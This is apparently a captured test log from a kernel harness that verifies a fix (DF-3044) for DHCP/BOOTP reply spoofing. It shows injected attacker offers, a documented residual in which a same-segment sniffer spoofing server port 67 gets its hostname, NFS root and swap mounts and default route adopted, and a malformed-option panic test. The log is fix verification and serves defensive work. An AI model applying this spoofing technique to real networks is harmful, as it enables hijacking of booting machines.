### DF-3044 fixed kernel (same harness + fix_3044.diff hunks of fix_combined.diff), authentic captured outputs ###

--- test 2 (blind predicted-XID spoof) : sysctl kern.dfrig12_status, captured verbatim ---
 | DF3044: hostname NOT adopted (stays 'dfbsd') | DF3044: root mount NOT adopted (rec=0) | DF3044: default route NOT adopted (adds=0) | DF3044: client 1st xid_raw=3c53bacd vs predicted 0100ffff: differ | DF3044: soreceive origin requested 2020542606 time(s), filled 1 (bootp_subr.c:807 passes NULL name)

--- test 21 (sniffed XID, origin port 9999) : console trace, captured verbatim (dmesg) ---
dfrig12: === test 21 begin ===
dfrig12: attacker model: 1 broadcast ifp(s); predicted DISCOVER xid=ffff0001 (seed 0xFFFF0000 + 0 per if + 1 compose); MAC known a priori; NO packet ever observed
Sending DHCP Discover packet from interface vtnet0 (52:54:00:12:34:56)
dfrig12: client broadcasts query #1 xid_raw=1aae1a5b msgtype=1 (any same-L2 host hears it)
dfrig12: ATTACKER injects OFFER xid_raw=1aae1a5b origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6
bootpc: reply not from server port 67, ignored
dfrig12: client broadcasts query #2 xid_raw=1aae1a5b msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #3 xid_raw=1aae1a5b msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #4 xid_raw=1aae1a5b msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #5 xid_raw=1aae1a5b msgtype=1 (any same-L2 host hears it)
DHCP timeout for interface vtnet0
BOOTP call failed
Shutdown interface vtnet0
dfrig12: DF3044: hostname NOT adopted (stays 'dfbsd')
dfrig12: === test 21 end ===

--- test 22 (sniffed XID, origin port 67) : sysctl kern.dfrig12_status, captured verbatim (documented residual: same-L2 sniffer spoofing the server port still wins) ---
 | DF3044: hostname ADOPTED 'pwn3d' (attacker TAG_HOSTNAME) | DF3044: root NFS mount ADOPTED from attacker 6.6.6.6 path=6.6.6.6:/pwn3d | DF3044: swap NFS mount ADOPTED from 6.6.6.6 path=6.6.6.6:/swpwn | DF3044: default route ADOPTED via attacker 6.6.6.1 flags=0x803 | DF3044: client 1st xid_raw=a793f6d4 vs predicted 0100ffff: differ | DF3044: soreceive origin requested 823580913 time(s), filled 2 (bootp_subr.c:807 passes NULL name)

--- test 4 on the FIXED kernel (predicted-XID ACK with TAG_SUBNETMASK len 3): console trace, captured verbatim (dmesg) ---
dfrig12: === test 4 begin ===
dfrig12: DF3044 T4: predicted-XID ACK with TAG_SUBNETMASK len=3 from 6.6.6.6:9999 -> expect verbatim panic 'bootpc: subnet mask len is 3' (bootp_subr.c:1390)
Sending DHCP Discover packet from interface vtnet0 (52:54:00:12:34:56)
dfrig12: client broadcasts query #1 xid_raw=d348c785 msgtype=1 (any same-L2 host hears it)
dfrig12: ATTACKER injects OFFER xid_raw=0100ffff origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6
bootpc: reply not from server port 67, ignored
dfrig12: client broadcasts query #2 xid_raw=d348c785 msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #3 xid_raw=d348c785 msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #4 xid_raw=d348c785 msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #5 xid_raw=d348c785 msgtype=1 (any same-L2 host hears it)
DHCP timeout for interface vtnet0
BOOTP call failed
Shutdown interface vtnet0
dfrig12: DF3044 T4: returned WITHOUT panic?!
dfrig12: === test 4 end ===